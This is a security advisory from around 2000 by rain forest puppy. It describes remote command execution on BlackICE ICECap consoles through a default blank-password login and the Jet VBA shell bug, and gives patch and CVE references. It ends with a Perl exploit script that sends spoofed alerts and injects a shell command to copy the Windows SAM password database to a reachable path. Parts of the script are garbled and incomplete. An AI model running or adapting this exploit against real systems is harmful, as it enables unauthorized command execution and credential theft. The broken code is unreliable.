---/ RFP2K04 /----------------------------/ rfp.labs / wiretrip /--------- Mining BlackICE with RFPickAxe Remote command execution on BlackICE ICECap stations ------------------------------------/ rain forest puppy / rfp@wiretrip.net Table of contents: -/ 1 / For the Black Hats -/ 2 / For the White Hats -/ 3 / Forward thinking -/ 4 / You know you love perl. Admit it. --/ 1 / For the Black Hats /---------------------------------------------- BlackICE IDS uses a management console called ICECap to collect and monitor alerts sent by the various installed BlackICE agents. The ICECap user console sits on port 8081 (included HTTP server), and alerts are pushed to another server listening on port 8082. The first problem is that the software uses a default login of 'iceman', with no password. This means we can log onto the console on port 8081, or push it alerts on port 8082. What could be more fun than a few false alerts? The second problem is that the software uses, by default, the Microsoft Jet 3.5 engine to store alerts. If you couple that with the shell VBA problem (CVE: CAN-2000-0325), that means you can push alerts that contain commands to be executed on the ICECap system. --/ 2 / For the White Hats /---------------------------------------------- NetworkICE has released ICEcap v2.0.23a, as well as some supporting KB articles detailing the problem. ICEcap 2.0.23a http://advice.networkice.com/advice/Support/KB/q000167/ Jet bug http://advice.networkice.com/advice/Support/KB/q000164/ Easy injection bug http://advice.networkice.com/advice/Support/KB/q000166/ The Common Vulnerabilities and Exposures (CVE) project has assigned the name CAN-2000-0350 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. --/ 3 / Forward thinking /------------------------------------------------ I discussed this point at CanSecWest. BlackICE is not the only (security) application that stores data in a Microsoft .mdb file. So what does use .mdb's? Well, NT 4.0 WINS, DHCP, CyberCop, NFR-GUI (Windows client), etc. I leave as an exercise to the reader to look into it. I'd appreciate anyone doing research into these matters to drop me a note on their final findings. --/ 4 / You know you love perl. Admit it. /----------------------------- #!/usr/bin/perl # # RFPickaxe.pl - demo exploit for default ICECap login/alerts # Disclaimer: I do not provide technical support for my exploits! # # Sorry, this requires Unix, due to the `date` call $|=1; use Socket; ############################################################### # IP of ICECap system (assumes port 8082) $Target="10.10.200.4"; # account info - uses default 'iceman' w/ no password $account="iceman"; $httpauth="aWNlbWFuOiUzQjclQzYlRkU="; #-------- attributes of the alert ---------- $id="100005"; $issue_name="Exploit"; $sev="1"; # spoof these $target="0.0.0.8"; $target_dns="some.host.com"; $det_ip="0.0.0.8"; $det_nbn="SENSOR"; $int_ip="255.255.255.255"; $param="Pickaxe"; # either fake the MAC, or use it to run commands via JET vulnerability #$det_mac="0000000000000"; $det_mac="|shell(\"cmd /c copy c:\\winnt\\repair\\sam._ ". "c:\\progra~1\\networ~1\\icecap\\spatch\\en\\sam.exe \")|"; ############################################################## $inet=inet_aton($Target); $time=`date -u "+%Y-%m-%d %T"`; $time=~s/ /%20/g; $time=~s/:/%3a/g; #path is \program files\network ice\icecap\spatch\en $alert="accountName=$account&issueID=$id&issueName=$issue_name". "&severity=$sev&targetNetAddress=$target&targetDNSName=". "$target_dns&detectorNetAddress=$det_ip&detectorNetBIOS". "Name=$det_nbn&detectorMacAddress=$det_mac&". "intruderNetAddress=$int_ip&detectorType=3&startTime=". "$time¶meter=$param\r\n"; $len=length($alert); @DXX=(); $send=<; select(STDOUT); close(S); alarm(0); return; } else { die("not responding"); } alarm(0);}; if ($@) { if ($@ =~ /timeout/){ die("Timed out!\n");}}} ----/ acks /-------------------------------------------------------------- NetworkICE + eEye, Attrition, w00w00, ADM, Technotronic, USSR ------------------------------------/ rain forest puppy / rfp@wiretrip.net If anyone wants to donate a skin to my website, contact me. ---/ RFP2K04 /----------------------------/ rfp.labs / wiretrip /---------